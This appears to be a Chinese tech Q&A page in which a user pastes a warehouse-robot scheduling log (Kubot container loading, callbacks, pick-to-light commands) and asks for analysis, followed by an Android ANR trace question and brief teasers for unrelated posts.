14469 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:11,468 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14470 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:11,718 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14471 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:11,918 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14472 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:12,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14473 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:12,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14474 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:12,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14475 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:12,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14476 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:13,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14477 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:13,318 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14478 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:13,568 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14479 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:13,818 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14480 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:14,018 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14481 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:14,268 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14482 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:14,518 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14483 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:14,718 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14484 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:14,968 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14485 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:15,219 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14486 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:15,468 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14487 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:15,718 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14488 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:15,918 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14489 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:16,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14490 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:16,418 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14491 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:16,668 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14492 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:16,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14493 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:17,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14494 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:17,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14495 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:17,568 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14496 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:17,818 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14497 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:18,068 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14498 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:18,318 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14499 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:18,568 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14500 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:18,818 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14501 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:19,068 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14502 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:19,268 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14503 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:19,518 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14504 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:19,768 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14505 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:19,968 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14506 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:20,168 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14507 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:20,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14508 plan cost 0ms [application-ess-core-dispatcher-77] 2025-09-24 10:51:20,498 [INFO] from c.h.e.a.r.d.EssDeliveryPersist-line:276 - map-model sync redisState from pos=243 endPos=250 [application-ess-pinned-dispatcher-546] 2025-09-24 10:51:20,508 [INFO] from c.h.e.a.r.d.EssDeliveryPersist-line:276 - ess-model sync redisState from pos=9957 endPos=10001 [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:20,618 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14509 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:20,868 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14510 plan cost 0ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:21,118 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14511 plan cost 1ms [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:21,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14512 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,432 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3885 - Robot #1 TAKE container op finished: A000000032 to: 64, container count: 1 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,435 [INFO] from c.h.e.a.s.k.EssKubotStationHandleEndAction-line:185 - station: CS-01 robot: kubot-1 end action: load SUCCEEDED for task: CS-01:load-1844112020920603904 at location: CS-01-002-01 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,435 [INFO] from c.h.e.a.s.k.EssKubotStationHandleEndAction-line:113 - station: CS-01 container: A000000032 is move from location: CS-01-002-01 to robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,435 [INFO] from c.h.e.a.s.k.s.c.EssKubotGreyBoxCacheShelfStation-line:408 - station: CS-01 group: info total: 12 backCount: 4 outCount: 0 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,436 [INFO] from c.h.e.a.s.k.s.c.EssKubotGreyBoxCacheShelfStation-line:415 - station: CS-01 after load robot: kubot-1 ready to scanOrLoad at CS-01-003-02 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,436 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3369 - Robot #1 end action: load at location CS-01-002-01, change state to IDLE belongLocation: CS-01-003-02 assignedTasks: [CS-01:load-1844112020920603904#0, CS-01:scan-1844112031939040512#0], action task: CS-01:load-1844112020920603904#0,lastStationCode: CS-01 [application-ess-pinned-dispatcher-556] 2025-09-24 10:51:21,437 [INFO] from callback.CallbackActor-line:223 - update lastCallbackId: 1844112031939100672 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,436 [INFO] from callback.EventCallbackHandler-line:888 - produce callback: 1844112031939100672 message: {"eventCode":"CALLBACK_OF_TOTE_LOADED_BY_ROBOT","taskGroupCode":"taskGroupCode-001","taskCode":"79388591-17c1-4ff0-ae02-66607bfe9e63","taskStatus":"PENDING","taskTemplateCode":"","actionCode":"load","robotCode":"kubot-1","containerCode":"A000000032","trayLevel":64,"stationCode":"CS-01","locationCode":"CS-01-002-01","updateTime":1758682281436,"callId":"1844112031939100672"} [application-ess-pinned-dispatcher-556] 2025-09-24 10:51:21,437 [INFO] from callback.CallbackActor-line:149 - send http://10.241.7.51:9046/callback/tote/loaded retry: 0 callbackId: 1844112031939100672 data {"eventCode":"CALLBACK_OF_TOTE_LOADED_BY_ROBOT","taskGroupCode":"taskGroupCode-001","taskCode":"79388591-17c1-4ff0-ae02-66607bfe9e63","taskStatus":"PENDING","taskTemplateCode":"","actionCode":"load","robotCode":"kubot-1","containerCode":"A000000032","trayLevel":64,"stationCode":"CS-01","locationCode":"CS-01-002-01","updateTime":1758682281436,"callId":"1844112031939100672"} [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,437 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3464 - Robot #1 drive task finished action: load, transport task: CS-01:load-1844112020920603904 driveTaskCount: 1 currentIndex: 0 state: FINISHED, rest of tasks: [CS-01:scan-1844112031939040512#0], paused: false [application-ess-pinned-dispatcher-549] 2025-09-24 10:51:21,459 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-002-01 send command: mode FLASH, color RED, text , number 0, created time 1758682281459. [application-ess-pinned-dispatcher-549] 2025-09-24 10:51:21,459 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 4, 0, -1, 15, 8, 33, 16, 0, 0, 0, 0, 0, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:51:21,466 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 7ms. [application-ess-pinned-dispatcher-549] 2025-09-24 10:51:21,476 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-002-01 send command: mode DARK, color RED, text , number 0, created time 1758682281476. [application-ess-pinned-dispatcher-549] 2025-09-24 10:51:21,476 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 4, 0, -1, 15, 8, 0, 16, 0, 0, 0, 0, 0, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:51:21,486 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 10ms. [application-ess-pinned-dispatcher-556] 2025-09-24 10:51:21,495 [INFO] from callback.CallbackActor-line:163 - recv retry: 0 callbackId: 1844112031939100672 cost ms: 58 data: {"code":0,"msg":"success","data":null} [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:21,569 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14513 plan cost 1ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,570 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:2186 - Robot #1 update path for task: CS-01:scan-1844112031939040512#0 then lock points: [POINT:3316:10596#180, POINT:3671:10596#180, POINT:4026:10596#180], lock container theta: [],intended destinations: [CS-01-003-02#0],dest point: POINT:4026:10596 is move finished: true. [application-ess-pinned-dispatcher-550] 2025-09-24 10:51:21,572 [INFO] from c.h.e.a.o.algo.v2.EssPpV2Adapter-line:58 - update path done cost ms: 3, current sequence: 16412 next sequence: 16412 [application-ess-pinned-dispatcher-545] 2025-09-24 10:51:21,572 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:3140 - Robot #1 try action: scan at location: CS-01-003-02 for task: CS-01:scan-1844112031939040512 locked true then executing [application-ess-pinned-dispatcher-562] 2025-09-24 10:51:21,818 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14514 plan cost 0ms分析一下这个日志
最新发布
09-25
分析包含机器人任务执行、文件创建、算法求解等信息的系统日志，可从以下几个方面入手： ### 机器人任务执行 对于机器人任务执行的日志分析，可关注任务的开始与结束时间，计算任务执行时长，判断是否符合预期的...
Spark项目---- 模拟互联网网站用户行为实时分析系统（第二部分）
hailunw的专栏
07-24 826
1）将IDEA中开发的Scala类打包，更新到Kafka的服务器上
07-30 03:12:36.641838 3201 15834 E ActivityManager: ANR in system 07-30 03:12:36.641838 3201 15834 E ActivityManager: PID: 3201 07-30 03:12:36.641838 3201 15834 E ActivityManager: Reason: Broadcast of Intent { act=android.intent.action.SCREEN_OFF flg=0x58200010 cmp=android/com.oplus.server.wifi.OplusWifiMotionMonitor$4 } -30 03:12:36.641838 3201 15834 E ActivityManager: CPU usage from 5ms to 10131ms later (2025-07-30 03:12:24.154 to 2025-07-30 03:12:34.280): 07-30 03:12:36.641838 3201 15834 E ActivityManager: 66% 13005/com.tencent.mm: 37% user + 29% kernel / faults: 54332 minor 6651 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 58% 3201/system_server: 22% user + 35% kernel / faults: 19458 minor 7624 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 57% 1814/vendor.qti.camera.provider@2.7-service_64: 41% user + 15% kernel / faults: 35272 minor 529 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 56% 153/kswapd0: 0% user + 56% kernel 07-30 03:12:36.641838 3201 15834 E ActivityManager: 46% 14418/com.tencent.mm:appbrand0: 24% user + 22% kernel / faults: 102520 minor 2906 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 45% 15544/com.oplus.camera: 19% user + 26% kernel / faults: 18160 minor 956 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 33% 11761/com.heytap.market: 14% user + 19% kernel / faults: 10857 minor 601 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 26% 10717/com.coloros.assistantscreen: 10% user + 15% kernel / faults: 26099 minor 5463 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 23% 24772/com.oplus.powermonitor: 9.4% user + 13% kernel / faults: 46717 minor 99 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 18% 15706/android.process.acore: 4.5% user + 14% kernel / faults: 4116 minor 269 major 07-30 03:12:36.641838 3201 15834 E ActivityManager: 99% TOTAL: 31% user + 62% kernel + 0.1% iowait + 5.2% irq + 0.7% softirq "main" prio=5 tid=1 Runnable | group="main" sCount=0 ucsCount=0 flags=0 obj=0x72766f18 self=0xb400007b2d878c00 | sysTid=3201 nice=-2 cgrp=ssfg sched=0/0 handle=0x7bd79d4d28 | state=R schedstat=( 1794563110524 8261050041932 8445565 ) utm=109823 stm=69632 core=7 HZ=100 | stack=0x7ff2b64000-0x7ff2b66000 stackSize=8188KB | held mutexes= "mutator lock"(shared held) native: #00 pc 00542008 /apex/com.android.art/lib64/libart.so (art::DumpNativeStack+112) (BuildId: 933ac9f8face98d6497ff39053c286bc) native: #01 pc 00608b94 /apex/com.android.art/lib64/libart.so (art::Thread::DumpStack const+376) (BuildId: 933ac9f8face98d6497ff39053c286bc) native: #02 pc 0069e7d4 /apex/com.android.art/lib64/libart.so (art::DumpCheckpoint::Run+256) (BuildId: 933ac9f8face98d6497ff39053c286bc) native: #03 pc 004d67a4 /apex/com.android.art/lib64/libart.so (art::Thread::RunCheckpointFunction+164) (BuildId: 933ac9f8face98d6497ff39053c286bc) native: #04 pc 00486f90 /apex/com.android.art/lib64/libart.so (artTestSuspendFromCode+132) (BuildId: 933ac9f8face98d6497ff39053c286bc) native: #05 pc 0052bf9c /apex/com.android.art/lib64/libart.so (art_quick_test_suspend+156) (BuildId: 933ac9f8face98d6497ff39053c286bc) at java.lang.Throwable.nativeGetStackTrace(Native method) at java.lang.Throwable.getOurStackTrace(Throwable.java:869) - locked <@addr=0x280408c0> (a java.lang.Throwable) at java.lang.Throwable.getStackTrace(Throwable.java:857) at com.android.server.wifi.RunnerHandler.sendMessageAtTime(RunnerHandler.java:106) at android.os.Handler.sendMessageDelayed(Handler.java:706) at android.os.Handler.post(Handler.java:436) at com.android.server.wifi.WifiDeviceStateChangeManager$1.onReceive(WifiDeviceStateChangeManager.java:71) at android.app.LoadedApk$ReceiverDispatcher$Args.lambda$getRunnable$0(LoadedApk.java:1960) at android.app.LoadedApk$ReceiverDispatcher$Args.$r8$lambda$mcNAAl1SQ4MyJPyDg8TJ2x2h0Rk(unavailable:0) at android.app.LoadedApk$ReceiverDispatcher$Args$$ExternalSyntheticLambda0.run(D8$$SyntheticClass:0) at android.os.Handler.handleCallback(Handler.java:973) at android.os.Handler.dispatchMessage(Handler.java:100) at android.os.Looper.loopOnce(Looper.java:282) at android.os.Looper.loop(Looper.java:387) at com.android.server.SystemServer.run(SystemServer.java:1069) at com.android.server.SystemServer.main(SystemServer.java:677) at java.lang.reflect.Method.invoke(Native method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:600) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:983) DumpLatencyMs: 813 上述部分trace可以看出anr是由于系统高负载造成的吧
08-20
- 发生时间：07-30 03:12:36.641838 - 进程：system_server (PID: 3201) - 原因：广播超时（Broadcast of Intent { act=android.intent.action.SCREEN_OFF ... }） - ANR发生时的CPU使用情况：从5ms到10131ms后...
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民工哥的博客
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点击关注公众号，回复“1024”获取2TB学习资源！为什么要学习 Kubernetes?虽然 Docker 已经很强大了，但是在实际使用上还是有诸多不便，比如集群管理、资源调度、文件管理等...
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编程三昧
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为什么要清除浮动？因为往往浮动后的子元素因为脱离了标准流，不能自动撑起父元素的高度，所以会对后续布局产生影响，对此清除浮动不如理解为清除浮动产生的影响更为合理。 例如：我们设置了两个盒子如图所示，粉色为父盒子，只有宽度没有高度，蓝色盒子有宽有高，粉色盒子的高由蓝盒子的高度撑开。 但是给蓝色的子盒子设置了左浮动后，脱离了标准流，无法再撑开粉盒子，可以看到粉盒子高度变成了0； 清除浮动有五种方法： 直接设置父元素的高度 额外标签法 单伪元素法 双伪元素法 ove.
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